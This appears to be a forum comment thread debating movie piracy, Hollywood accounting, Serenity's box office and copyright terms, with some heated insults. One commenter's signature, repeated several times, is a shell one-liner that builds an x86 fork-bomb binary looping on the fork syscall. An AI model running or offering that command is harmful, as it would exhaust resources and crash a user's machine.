To be fair BMWs do cost more to produce (the engine and transmission of BMWs are built to much higher quality and tighter tolerances, often using better materials and advanced manufacturing processes. The brakes and suspension are far better than your average econobox too. Shame to put all that stuff on an old man's luxo-barge). But there are many other manufacturers that do overprice their cars you could point to (about 1/3 of the cost of a Ferrari is just a donation to their racing team - has nothing to do with the cost of the car whatsoever - and then there are the "classy re-badges" like Acura, Lexus, Cadillac, Buick...).
There are also the Italian sport bikes that cost 1.5-3x the price of their Japanese competition for no reason apparent in the final product.
"When information is power, privacy is freedom" - Jah-Wren Ryel
One could write a dissertation on the many ways, both the obvious and nuanced, this post doesn't work on this site.
Atlas Shrugged : Thematic Story
If the only thing that prevents the collapse of the Western World is protection of intellectual property, then be sure to have a good bug-out location.
Maybe I'm just too jaded, but relying on intellectual property that can be copied digitally, perfectly within a few seconds is probably not the most sustainable basis for an economy.
When all you have is something that can be multiplied a millionfold within a few hours, you're hosed. Sorry to break it to you, but it's true.
Of course we can make laws and enforce them, but unlike physical crimes like theft and murder, it is no real harm done, but all hypothetical musings on "potential lost sales". And it is nothing but statistics and vague guesswork. I think many people have bought real, genuine Bluray-discs of movies they already possessed pirated copies of. Actual loss of sale = 0, probably even better, since they may not ever heard of that movie before. And I think many people have seen pirated copies of movies they would have never spent a single dime on and regretted every minute of time wasted for it. Actual loss of sale = 0 as well.
You cannot make reliable assumptions on potential sales lost. Therefore, you cannot judge about a fair punishment on it. Something that cannot be punished fairly cannot not be punished without hurting tangible, actual rights. If the business model of the Western world relies on that, I'd sell my stock in them, fast.
They don't make a profit. They do make money.
E.g
http://en.wikipedia.org/wiki/Hollywood_accounting#Examples
A WB receipt was leaked online, showing that the hugely successful movie Harry Potter and the Order of the Phoenix ended up with a $167 million loss on paper.
Following the link
http://www.techdirt.com/articles/20100708/02510310122.shtml
For example, a bunch of you sent in the example of how Harry Potter and the Order of the Phoenix, under "Hollywood accounting," ended up with a $167 million "loss," despite taking in $938 million in revenue. This isn't new or surprising, but it's getting attention because the income statement for the movie was leaked online, showing just how Warner Bros. pulled off the accounting trick:
The movie cost $150 million. So really it made $788 million income (i.e. $938-150). Profits are income less expenses. Techdirt shows you how they did it. As they put it
The really, really, really simplified version is that Hollywood sets up a separate corporation for each movie with the intent that this corporation will take on losses. The studio then charges the "film corporation" a huge fee (which creates a large part of the "expense" that leads to the loss).
Now it seems to me like someone - whoever the fee is paid to - will need to pay tax on this income. There's nothing illegal about any of this. If you run a business I think you're obliged to take advantage of any loopholes you can. And they do.
Incidentally Harry Potter was going to make money no matter what. A better example of the effects of piracy would be Serenity. That had a budget of $39 million and gross revenues of $38 million. No one is going to make movies like Serenity if the profit margin is that slim.
Serenity has a target audience - geeky 20-30s males - that is more likely to download than Harry Potter's family audience. And Serenity was the first HD movies to be cracked
http://www.theregister.co.uk/2007/01/18/hd-dvd_crack/
Now hardcore fans will insist they'll both download and buy. Of course buying something is lower priority if you've already got a copy for free. It's a lot cheaper to talk loudly about how you're going to do it than actually doing it. More convenient too. So have you wonder whether Serenity would have been profitable if it wasn't for the piracy.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
When you have (via random selection) the option to Moderate, you will see a dropdown list on each post near the 'Reply to this' link which has selections like "Normal" ,"Insightful", "Interesting", "Funny", "Troll", "Flamebait", and "Off Topic". When you select one, it moderates that post. (Sadly, this reply will probably get moderated off-topic.)
Posting a comment on an article will undo any moderation in that article you've done, and will bar you from further moderation on the topic. (It's useful when you mis-click a moderation and select something bad instead of good.) The moderation happens when you select it, with no confirmation other than the dropdown list changing to text of what you selected.
I believe that moderation frequency (and number of mod points) correlates with your karma. Post nicely, well, and moderate in a manner that is consistent with the moderation guidelines, and you're likely to get more of them more often. If you neglect to use them, I don't know if it gives them less often. I sometimes get multiple sets of 15 points in a week, and other times (like now) I can go a month without seeing any.
Not THIS argument again. People downloading movies aren't too poor to pay to watch them. They're just too cheap to pay to watch them. If something costs n dollars, and you have n*0.1 dollars, either wait until it costs less or you've saved more. It's easy to say "I wouldn't have bought it anyway," when you plan from the start to download it rather than buying it.
I don't really understand why people put this in black and white terms. Why is it that people who download things aren't willing to pay for them? Example: I missed an episode of The Office. Because I am on the west coast, it was up on bittorrent about an hour after it aired. I was able to download and watch it (no, I don't have a DVR). I could have waited a few days and watched it on nbc.com. Who did I deprive of anything? Another example: I have a movie my kids watch a lot. I have a DVD player with usb port, and have a 320GB hard drive with divx files on it. I could have ripped their DVD and put it on there, but instead I downloaded it. I own the DVD. To me, this is different than downloading a movie I don't own.
There are many more examples of gray areas, that aren't just people "trying to get something for free". How about we focus on making downloading and digital copies a valid way of doing business instead of pointing out the illegal ways to use it? This reminds me of how the music industry fought against MP3s instead of embracing them. And let's not forget all of the old material that is out there, movies, tv shows, music - that will not be marketed by anyone but there's a market for. Make it a business. If "downloading" is a valid business model, then it's more likely to be recognized as a true religion.
My beliefs do not require that you agree with them.
Wait, you know of Serenity fans who did NOT buy it? I can't speak for the rest, but I doublt I'm the only Serenity fan to have bought the DVD set and the movie. Serenity's a bad example, IMO -- I expect that just about everyone interested in the movie or TV show is rabid enough in their fandom to want to own it, watch it, etc. They also happen to be predominantly nerds. What do you THINK would be more likely to be chosen as a crack target, Serenity or Pride and Prejudice?
No, the way copyright is being enforced is a perversion of the original idea - because the way copyright is being massively, willfully infringed is a violation of the social contract.
It's not like we're choosing between good and evil here - I just have a hard time having sympathy for people who take the position that their greed is somehow morally correct.
Statistically, some people will actually save up money in order to buy the movie so, statistically, you ARE depriving them of money. Not n dollars but rather n * chance_of_somebody_saving_up_money_and_buying_it_later dollars.
Statistically, yes; in reality, no.
If I have no intent of buying your movie, my downloading it is meaningless. No one lost money, not even fictional, statistical, money. Downloading a movie also does not preclude me buying it at a later date (in fact this has happened several times in my life). There has been studies showing that music pirates buy more music than non-pirates.
A lot use piracy as a means of quality control. They will pirate your movie, they will watch it. If it sucks, it is deleted and no second thought is ever spared. If they like it, there is a pretty damn good chance they will buy it.
But, you ask, would you buy something you can get free? Why, I answer, to support the people who produced something you enjoy. Wait, so their making money on merit and not coercion and faux scarcity? No wonder studios hate it. Also physical copies are superior to digital ones most of the time, so buying the actual physical disk does provide some value added over the content itself.
That said, I always found the "I can't afford it, so I pirate it" argument the weakest and most inane, since it does imply some silly form of entitlement and also implies the absolute necessity of partaking in the latest forms of entertainment. But even if it is the silliest argument, it does illustrate very well that piracy doesn't equal direct harm, no matter the moral or ethical situation.
Also, I dislike arguments that rely on the term "may". They "may" save up to buy a movie, that "may" is completely negated by the fact that they "may" also not save up.
A patriot must always be ready to defend his country against his government. -edward abbey
Either that or they don't want to waste their money on something that may well be crap. They'd rather get it free, see if its crap, and then shell out cash for it on DVD.
I do this all the time to games without demos. I'll get the full game, I'll play it for an hour-day, and if I like it I will be the full copy, if I don't it is deleted and no money is spent. I suppose this might be a lost sale, since I could have bought a game that was crap since I couldn't find out before hand and thus the publishers would have gotten money for being crappy. Which is good for them, but not for me. And when it comes down to legal fictions or me, I will pick me every single time.
Remember being young? Remember buying a CD, realizing that it was absolute crap (but that one song on the radio was "bitchin'"), and then just being stuck with Queensryche's Greatest Hits (or whatever) sitting in a box in your closet, shaming you for years until you finally unload it for 5% of the purchase price at a used store? The internet fixed this, but letting me download the album, realize it sucks, and then NOT give money to anyone for the privilege of sampling something I hated.
I'm depriving Queensryche's record label of profit they would have gotten otherwise in the previous, technologically limited, model, I guess. But I'm perfectly okay with that in this scenario. It might be illegal, but it is completely ethical.
A patriot must always be ready to defend his country against his government. -edward abbey
what hypocritical, authority who throw read herrings and straw men at you would have you believe religion is.
thank God the internet isn't a human right.
Still not quite accurate.
I won't re-watch around 90% of movies I watch... But 10% of them are so awesome that I have to own them and watch them annually. I will never part with the Godfather, the original StarWars trilogy, Apocalypse Now!, or my full, complete, collection of David Lynch or Romero's "x of the dead" movies.
Also, even if a movie is so-so, I'll probably pick it up for $5.00 in a discount bin. I'm not going to pay 30 for the BluRay, or 17 for the DVD. I will pay $5.00, since its well into the "impulse buy" range.
A patriot must always be ready to defend his country against his government. -edward abbey
because the way copyright is being massively, willfully infringed is a violation of the social contract.
No, thats just how the world works and always has been working. Before the Internet people would lend books to friends, record stuff from TV or radio and so on. Copying and lending stuff has always been done without the copyright holder consent, it wasn't even illegal most countries. The thing that changed with the Internet is that you can now lend your stuff to the whole world at once. Its not the behaver of sharing that has changed, but the underlying technology that makes it a lot easier.
And while the enforcing is troublesome, the underlying and biggest problem is simply the timescale of copyright, copyright that last longer then a human lifetime means that you essentially no longer have a public domain of culturally relevant stuff. And that is a big issue for society, as cultural goods essentially become controlled by a few big cooperations.
I just have a hard time having sympathy for people who take the position that their greed is somehow morally correct.
Greed implies ownership and possession, keeping things for oneself. Sharing things with the world is as far away from greed as you can get.
But people *do* pay to watch them.
The problem is that the MPAA, et al, don't think they pay _enough_.
When a handful of individuals involved in the production of a movie aren't being paid millions - if not tens of millions - of dollars each, the argument that people aren't prepared to pay to see movies might barely start to carry some weight.
Depends what you're outsourcing.
Software development can be cheaper but often isn't.
Sewing cheap clothes is clearly significantly cheaper.
Many manufacturing activities are a lot cheaper.
Is it unfair? Yes, I get to buy a t-shirt for around ten minutes wages, and the shop I bought it from gets a 40% markup on it too. Meanwhile the person making it can't afford a computer..
Oh right. Guess I should have specified software development only. I suppose those other items really are where the big gains are.
My experience in software is you get something unmaintainable which is in need of immediate maintenance because it's only partially working.
Fear is the mind killer.
Both VW and Mercedes-Benz are reporting double digit growth percentages in China (Benz being down from triple digits last year because the govt stopped giving incentives for buying compact cars). The Chinese consumers don't trust their locally designed cars and turn to foreign products instead. Production of cars for China happens in China but the R&D happens in the West and the Chinese subsidiaries pay dividends to the main company.
Source: Tagesschau (German)
Justice is the sheep getting arrested while an impartial judge declares the vote void.
People downloading movies aren't too poor to pay to watch them
Some aren't, but some =/= all. That goes both ways - insisting nobody who downloads movies is poor, and everybody is - both extrema.
They're just too cheap to pay to watch them. If
Again, some are, some aren't, it isn't all or nothing.
It's easy to say "I wouldn't have bought it anyway," when you plan from the start to download it rather than buying it.
Of course you don't know somebody's intention, or rather, their verbal intention, unless they tell you - guessing sue doesn't get you a correct answer.
Insightful my ass.
If you believe in privacy, and believe you have "nothing to hide" at the same time, you're a goddammed idiot
now, i can start and make a list of what is fair and what is not declarations, totally ending up with a picture different than what you have had intended.
so ?
the problem itself, is the system. it enables and empowers those who seek to shackle even thought, through its ownership mechanic.
Read radical news here
The really, really, really simplified version is that Hollywood sets up a separate corporation for each movie with the intent that this corporation will take on losses. The studio then charges the "film corporation" a huge fee (which creates a large part of the "expense" that leads to the loss).
Now it seems to me like someone - whoever the fee is paid to - will need to pay tax on this income. There's nothing illegal about any of this. If you run a business I think you're obliged to take advantage of any loopholes you can. And they do.
If you run a business you're obliged to keep PR in mind all the time including not taking advantage of loopholes if it gives your customers and clients such a bad view of you that they would sooner rip you off then pay for your product because they see you as worse scum then most crooks.
Also I doubt that the shell company in the Bahamas pays any taxes on that income, why else would they sacrifice their good image other then to pocket more money.
Serenity sounds like it might be a good movie but I'm not going to pay for it sight unseen and as I've never seen it and don't bother downloading movies...
https://en.wikipedia.org/wiki/Inverted_totalitarianism
How long I have to wait to see the movie, not ads, not FBI warnings and other unskippable content, playable on my computer and streaming with option to save it locally in case of network problem etc. ?
Also I'd like to have all the content at available at same place, no shopping around thank you.
There is even free, though it might be illegal in some places, example available, can't the content distributors copy that?
People still want films that haven't been made yet. So, in a world where you can't get people to pay for something after it's been made, pay will occur, mostly, before, rather than after production - which is how it used to be with music and theater.
Then why o why there are remakes coming from the left and right?
I glanced back through the thread, and I think the asker of the question is a lying sack of shit. Why? Because he said "I've never seen it answered." Just in this thread, it was answered 100 times. So, he either needs to add in "I ask the question and then never read any responses to my asshattery, and thus have never seen it answered" or "It's never answered to my satisfaction" where his satisfaction is where everyone admits that his unsubstantiated personal opinion is God and we should all worship him.
Ever since the challenge where he stated no one has ever answered it, it was answered many times. But I think he'll still assert it has never been answered. Which links back to my initial assessment that he's a lying sack of shit.
Learn to love Alaska
Wait, you know of Serenity fans who did NOT buy it?
I downloaded the torrent, watched it, didn't think much of it and didn't buy it. I can't believe I'm the only one.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If you run a business you're obliged to maximize profits for shareholders
FTFY.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Even if you are right, in that the only reason anyone makes a movie these days is to make money, it still isn't a good enough reason to continue propping up the industry by sacrificing our natural rights to access our culture.
Whilst it's possible to make a movie and not be motivated by money that's definitely not true of popular movies. Guess which sort of movie gets pirated? A quick look on Pirate Bay shows you it's the popular ones - i.e expensive popcorn ones with mass market appeal that were made to make money by some huge US corporation .
People do make movies for reasons other than money, but not the sort of movies that get pirated.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
As the world's leading authority on creating religions (seriously, I'm #1 on Google), I humbly offer my free guide:
How to Create Your Own Religion In Ten Easy Steps
This handy guide will help you properly structure your religion and help you gain legitimacy by copying what others have done.
By making it look like similar in structure to other more popular religions, you will simultaneously have demonstrated your core principle of copying stuff while making the concepts seem more familiar (and therefore more acceptable) to the reviewing board.
Cheers and Good Luck!
All Hail The Great Lord Lardicus!
Your economic sophistry is irrelevant. Ownership of ideas is sinful. Repent!
They fail to recognize and accept the mighty and most popular God of the Undo: CTRL+Z ! Heck, we've all _prayed_ to CTRL+Z at least once in our lives I'm sure...
Quoting Bjorn Lomborg automatically disqualifies you. The man is a whore to whoever pays him. He was a climate change denier until he stopped getting payed, then he suddenly changed his mind.
TCAP-Abort